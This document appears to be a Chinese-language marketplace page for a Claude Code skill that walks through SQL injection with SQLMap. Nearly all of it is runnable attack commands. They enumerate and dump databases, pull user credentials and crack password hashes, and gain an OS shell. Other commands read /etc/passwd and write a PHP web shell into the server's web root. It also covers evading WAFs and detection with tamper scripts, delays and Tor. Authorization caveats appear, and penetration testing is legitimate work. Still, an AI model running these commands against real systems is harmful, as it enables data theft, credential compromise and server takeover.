mcpField
S
SQLMap Database Penetration Testing

SQLMap Database Penetration Testing

github.com/davila7安全33.0k234 次安装今天更新
代码仓库

关于 SQLMap Database Penetration Testing

面向获准开展渗透测试的 SQLMap 技能,涵盖注入检测、数据库枚举、数据提取及多种 DBMS 的进阶测试流程。

主要功能

  1. 01SQL 注入检测
  2. 02数据库与结构枚举
  3. 03表和列数据提取
  4. 04URL、请求、日志及批量目标
  5. 05多种注入技术

适用场景

  1. 01检测获准测试的 Web 应用是否存在 SQL 注入
  2. 02在测试中枚举数据库和数据表
  3. 03在授权评估中提取指定表记录

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill sqlmap-database-penetration-testing

安装后在 Claude Code 中输入/sqlmap-database-penetration-testing确认已加载。

详细介绍

SQLMap 数据库渗透测试

用途

使用 SQLMap 提供自动化 SQL 注入检测与利用的系统化方法。本技能涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法,以及针对 MySQL、PostgreSQL、MSSQL、Oracle 和其他数据库管理系统的高级利用技术。

输入 / 前提条件

  • 目标 URL:包含可注入参数的 Web 应用 URL(例如,?id=1)
  • SQLMap 安装:已预装在 Kali Linux 上,或从 GitHub 下载
  • 已验证的注入点:已确认或怀疑 URL 参数可进行 SQL 注入
  • 请求文件(可选):Burp Suite 捕获的 HTTP 请求,用于基于 POST 的注入
  • 授权:已获得渗透测试活动的书面许可

输出 / 交付成果

  • 数据库枚举:目标服务器上的所有数据库列表
  • 表结构:目标数据库中的完整表名列表
  • 列映射:每个表的列名和数据类型
  • 提取的数据:导出的记录,包括用户名、密码和敏感数据
  • 哈希值:用于离线破解的密码哈希
  • 漏洞报告:确认 SQL 注入类型和严重程度

核心工作流

1. 识别 SQL 注入漏洞
手动验证
# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
初步 SQLMap 扫描
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. 枚举数据库
列出所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

关键选项:

  • -u:包含可注入参数的目标 URL
  • --dbs:枚举数据库名称
  • --batch:使用默认回答(非交互模式)
3. 枚举表
列出指定数据库中的表
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

关键选项:

  • -D:指定目标数据库名称
  • --tables:枚举表名
4. 枚举列
列出指定表中的列
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

关键选项:

  • -T:指定目标表名
  • --columns:枚举列名
5. 提取数据
导出指定表的数据
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
导出指定列
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
导出整个数据库
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

关键选项:

  • --dump:提取指定表中的所有数据
  • --dump-all:提取所有表中的所有数据
  • -C:指定要提取的列名
6. 高级目标选项
从 HTTP 请求文件指定目标
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
从日志文件指定目标
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
指定多个 URL(批量文件)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
通过 Google 搜索语法指定目标(谨慎使用)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

命令速查

数据库枚举步骤
阶段命令
列出数据库sqlmap -u "URL" --dbs --batch
列出表sqlmap -u "URL" -D dbname --tables --batch
列出列sqlmap -u "URL" -D dbname -T tablename --columns --batch
导出数据sqlmap -u "URL" -D dbname -T tablename --dump --batch
导出全部数据sqlmap -u "URL" -D dbname --dump-all --batch
支持的数据库管理系统
DBMS支持级别
MySQL完全支持
PostgreSQL完全支持
Microsoft SQL Server完全支持
Oracle完全支持
Microsoft Access完全支持
IBM DB2完全支持
SQLite完全支持
Firebird完全支持
Sybase完全支持
SAP MaxDB完全支持
HSQLDB完全支持
Informix完全支持
SQL 注入技术
技术描述标志
基于布尔的盲注根据真/假响应推断数据--technique=B
基于时间的盲注利用时间延迟推断数据--technique=T
基于错误的注入从错误消息中提取数据--technique=E
基于 UNION 查询的注入使用 UNION 附加结果--technique=U
堆叠查询执行多条语句--technique=S
带外注入使用 DNS 或 HTTP 外传数据--technique=Q
基本选项
选项描述
-u目标 URL
-r从文件加载 HTTP 请求
-l从 Burp/WebScarab 日志解析目标
-m包含多个目标的批量文件
-gGoogle dork(请负责任地使用)
--dbs枚举数据库
--tables枚举表
--columns枚举列
--dump导出表数据
--dump-all导出所有数据库数据
-D指定数据库
-T指定表
-C指定列
--batch非交互模式
--random-agent使用随机 User-Agent
--level测试级别(1-5)
--risk测试风险等级(1-3)

约束与限制

操作边界
  • 目标 URL 中必须包含有效的可注入参数
  • 必须能够连接到目标数据库服务器
  • 导出大型数据库可能需要较长时间
  • 某些 WAF/IPS 系统可能会拦截 SQLMap 流量
  • 基于时间的攻击明显比基于错误的攻击慢
性能注意事项
  • 使用 --threads 加快枚举速度(默认为 1)
  • 对于大型表,使用 --start 和 --stop 限制导出范围
  • 如果已知更快的注入方式,可使用 --technique 指定
法律要求
  • 仅测试已获得明确书面授权的系统
  • 针对未知网站发起 Google dork 攻击属于违法行为
  • 记录所有测试活动和发现
  • 遵守约定规则中定义的范围限制
检测风险
  • SQLMap 会生成大量日志条目
  • 使用 --random-agent 更换 User-Agent 标头
  • 考虑使用 --delay 避免触发速率限制
  • 仅在获得授权的测试中使用 --tor 通过 Tor 代理以实现匿名

示例

示例 1:完整数据库枚举
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns

# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
示例 2:POST 请求注入
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
# 
# username=admin&password=test

# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
示例 3:批量目标扫描
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt

# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
示例 4:激进测试
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
示例 5:提取特定凭据
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch

# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords
示例 6:操作系统 Shell 访问(高级)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

故障排除

问题:“参数似乎不可注入”

原因:SQLMap 无法找到注入点 解决方案:

# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch

# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT

# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
问题:目标位于 WAF/防火墙之后

原因:Web 应用防火墙拦截请求 解决方案:

# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment

# List available tamper scripts
sqlmap --list-tampers

# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase

# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2

# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
问题:连接超时

原因:网络问题或目标响应缓慢 解决方案:

# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60

# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1

# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
问题:基于时间的攻击太慢

原因:默认时间延迟过于保守 解决方案:

# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3

# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
问题:无法导出大型表

原因:表中的记录过多 解决方案:

# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100

# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch

# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
问题:长时间扫描期间会话中断

原因:会话超时或连接重置 解决方案:

# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session

# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume

# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive

评论

支持 Markdown